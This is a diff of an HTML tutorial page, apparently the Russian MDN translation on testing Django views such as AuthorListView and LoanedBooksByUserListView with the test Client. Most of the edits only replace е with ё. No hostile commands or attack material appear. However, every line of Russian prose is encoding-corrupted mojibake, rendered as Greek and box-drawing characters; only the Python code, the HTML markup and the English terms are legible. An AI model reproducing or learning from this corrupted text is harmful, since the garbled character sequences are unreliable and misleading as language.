ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для HTML-Ρ€Π΅Π½Π΄Π΅Ρ€Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ контСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаСтся Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉΒ  шаблон. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ (Ссли ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ), ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ URL-адрСса ΠΈ ΠΊΠΎΠ΄Ρ‹ статусов Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ шагС. ВсС это ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π°ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ выполняСт Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ оТидаСтся.</p>
+<p>Для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ повСдСния отобраТСния ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ тСстовый ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Django <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client">Client</a>. Π”Π°Π½Π½Ρ‹ΠΉ класс дСйствуСт ΠΊΠ°ΠΊ ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΉ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ примСняСм для ΠΈΠΌΠΈΡ‚Π°Ρ†ΠΈΠΈΒ  <code>GET</code> ΠΈ <code>POST</code> запросов ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ². ΠŸΡ€ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΏΠΎΡ‡Ρ‚ΠΈ всС, начиная с Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ³ΠΎ HTTP (ΠΈΡ‚ΠΎΠ³ΠΎΠ²Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ ΠΊΠΎΠ΄Ρ‹ статусов) ΠΈ Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ примСняСмых шаблонов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для HTML-Ρ€Π΅Π½Π΄Π΅Ρ€Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ контСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаётся Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉΒ  шаблон. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ (Ссли ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ), ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ URL-адрСса ΠΈ ΠΊΠΎΠ΄Ρ‹ статусов Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ шагС. ВсС это ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π°ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ выполняСт Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ оТидаСтся.</p>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ с ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΡ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΅Π³ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎ URL-адрСсу <strong>/catalog/authors/</strong> (Π΄Π°Π½Π½Ρ‹ΠΉ URL-адрСс ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ прилоТСния catalog,Β  Π² Ρ„Π°ΠΉΠ»Π΅ настроСк urls.py ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈΒ  'authors').</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ с ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΡ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΅Π³ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎ URL-адрСсу <strong>/catalog/authors/</strong> (Π΄Π°Π½Π½Ρ‹ΠΉ URL-адрСс ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ прилоТСния catalog,Β  Π² Ρ„Π°ΠΉΠ»Π΅ настроСк urls.py ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈΒ  'authors').</p>
<pre class="brush: python">class AuthorListView(generic.ListView):
model = Author
paginate_by = 10
</pre>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ списка, Ρ‚ΠΎ ΠΏΠΎΡ‡Ρ‚ΠΈ всС Π·Π° нас Π΄Π΅Π»Π°Π΅Ρ‚ Django. Если Π²Ρ‹ довСряСтС Django, Ρ‚ΠΎ СдинствСнной Π²Π΅Ρ‰ΡŒΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, являСтся ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ URL-адрСсу. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли Π²Ρ‹ примСняСтС ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊΡƒ TDD (test-driven development, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Ρ‡Π΅Ρ€Π΅Π· тСсты), Ρ‚ΠΎ Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ с написания тСстов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² ΠΈ, ΠΊ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π±Π»ΠΎΠΊΠ°ΠΌΠΈ ΠΏΠΎ 10.</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ списка, Ρ‚ΠΎ ΠΏΠΎΡ‡Ρ‚ΠΈ всС Π·Π° нас Π΄Π΅Π»Π°Π΅Ρ‚ Django. Если Π²Ρ‹ довСряСтС Django, Ρ‚ΠΎ СдинствСнной Π²Π΅Ρ‰ΡŒΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, являСтся ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ URL-адрСсу. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли Π²Ρ‹ примСняСтС ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊΡƒ TDD (test-driven development, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Ρ‡Π΅Ρ€Π΅Π· тСсты), Ρ‚ΠΎ Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ с написания тСстов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² ΠΈ, ΠΊ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π±Π»ΠΎΠΊΠ°ΠΌΠΈ ΠΏΠΎ 10.</p>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ» <strong>/catalog/tests/test_views.py</strong> Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ всС Π΅Π³ΠΎ содСрТимоС Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ тСста для класса <code>AuthorListView</code>. Как ΠΈ Ρ€Π°Π½Π΅Π΅, ΠΌΡ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ Π½Π°ΡˆΡƒ модСль ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ классы. Π’ ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ <code>setUpTestData()</code> ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ число ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² класса <code>Author</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ тСстируСм ΠΏΡ€ΠΈ постраничном Π²Ρ‹Π²ΠΎΠ΄Π΅.</p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ» <strong>/catalog/tests/test_views.py</strong> Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ всС Π΅Π³ΠΎ содСрТимоС Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ тСста для класса <code>AuthorListView</code>. Как ΠΈ Ρ€Π°Π½Π΅Π΅, ΠΌΡ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌ Π½Π°ΡˆΡƒ модСль ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ классы. Π’ ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ <code>setUpTestData()</code> ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ число ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² класса <code>Author</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ тСстируСм ΠΏΡ€ΠΈ постраничном Π²Ρ‹Π²ΠΎΠ΄Π΅.</p>
<pre class="brush: python">from django.test import TestCase
@@ -525,15 +525,15 @@ class AuthorListViewTest(TestCase):
Β  Β  Β  Β  self.assertTrue(resp.context['is_paginated'] == True)
Β  Β  Β  Β  self.assertTrue( len(resp.context['author_list']) == 3)</pre>
-<p>ВсС тСсты ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ (ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰Π΅Π³ΠΎ классу <code>TestCase</code>, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΡ‹ наслСдовались) для ΠΈΠΌΠΈΡ‚Π°Ρ†ΠΈΠΈ <code>GET</code>-запроса ΠΈ получСния ΠΎΡ‚Π²Π΅Ρ‚Π° (<code>resp</code>). ΠŸΠ΅Ρ€Π²Π°Ρ вСрсия провСряСт Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ URL-адрСс (Π·Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, - просто ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Π±Π΅Π· указания Π΄ΠΎΠΌΠ΅Π½Π°), Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ URL-адрСс ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π² настройках.</p>
+<p>ВсС тСсты ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ (ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰Π΅Π³ΠΎ классу <code>TestCase</code>, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΡ‹ наслСдовались) для ΠΈΠΌΠΈΡ‚Π°Ρ†ΠΈΠΈ <code>GET</code>-запроса ΠΈ получСния ΠΎΡ‚Π²Π΅Ρ‚Π° (<code>resp</code>). ΠŸΠ΅Ρ€Π²Π°Ρ вСрсия провСряСт Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ URL-адрСс (Π·Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, - просто ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Π±Π΅Π· указания Π΄ΠΎΠΌΠ΅Π½Π°), Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ URL-адрСс ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π² настройках.</p>
<pre class="brush: python">resp = self.client.get('/catalog/authors/')
resp = self.client.get(reverse('authors'))
</pre>
-<p>Когда ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΎΡ‚Π²Π΅Ρ‚, Ρ‚ΠΎ ΠΌΡ‹ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ ΠΊΠΎΠ΄ статуса, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ шаблон, "Π²ΠΊΠ»ΡŽΡ‡Π΅Π½" Π»ΠΈ постраничный Π²Ρ‹Π²ΠΎΠ΄, количСство элСмСнтов Π² подмноТСствС (Π½Π° страницС) ΠΈ ΠΎΠ±Ρ‰Π΅Π΅ число элСмСнтов.</p>
+<p>Когда ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΎΡ‚Π²Π΅Ρ‚, Ρ‚ΠΎ ΠΌΡ‹ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ ΠΊΠΎΠ΄ статуса, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ шаблон, "Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½" Π»ΠΈ постраничный Π²Ρ‹Π²ΠΎΠ΄, количСство элСмСнтов Π² подмноТСствС (Π½Π° страницС) ΠΈ ΠΎΠ±Ρ‰Π΅Π΅ число элСмСнтов.</p>
-<p>НаиболСС интСрСсной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ являСтся <code>resp.context</code>, которая являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ контСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаСтся ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ ΠΈΠ· отобраТСния. Он (ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ контСкста) ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½ для тСстов, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ позволяСт Π½Π°ΠΌ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ наш шаблон ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ всС Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅ΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ шаблон с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΠ΄Π΅Π»Ρ‹Π²Π°ΡŽΡ‚ Π΄ΠΎΠ»Π³ΠΈΠΉ ΠΏΡƒΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ.</p>
+<p>НаиболСС интСрСсной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ являСтся <code>resp.context</code>, которая являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ контСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаётся ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ ΠΈΠ· отобраТСния. Он (ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ контСкста) ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½ для тСстов, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ позволяСт Π½Π°ΠΌ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ наш шаблон ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ всС Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅ΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ шаблон с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΠ΄Π΅Π»Ρ‹Π²Π°ΡŽΡ‚ Π΄ΠΎΠ»Π³ΠΈΠΉ ΠΏΡƒΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½ΠΎΠΌΡƒ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ.</p>
<h4 id="ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ_ΠΈ_рСгистрация_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ">ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ ΠΈ рСгистрация ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ</h4>
@@ -543,7 +543,7 @@ resp = self.client.get(reverse('authors'))
class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
"""
- ΠžΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ класс отобраТСния списка взятых ΠΊΠ½ΠΈΠ³ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ
+ ΠžΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ класс отобраТСния списка взятых ΠΊΠ½ΠΈΠ³ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ
"""
model = BookInstance
template_name ='catalog/bookinstance_list_borrowed_user.html'
@@ -555,7 +555,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ тСстовый ΠΊΠΎΠ΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° Π² <strong>/catalog/tests/test_views.py</strong>. Π’ Π½Π΅ΠΌ, для создания Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚ΠΎΠ² ΠΈΒ  ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>BookInstance</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… тСстах, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>SetUp()</code> (вмСстС с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΠΊΠ½ΠΈΠ³Π°ΠΌΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ записями). Половина ΠΊΠ½ΠΈΠ³ бронируСтся  тСстовыми ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ, Π½ΠΎ Π² Π½Π°Ρ‡Π°Π»Π΅ для Π½ΠΈΡ… всСх ΠΌΡ‹ устанавливаСм статус "доступно". ИспользованиС ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>SetUp()</code> ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅ Ρ‡Π΅ΠΌ <code>setUpTestData()</code>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² дальнСйшСм ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹.</p>
<div class="note">
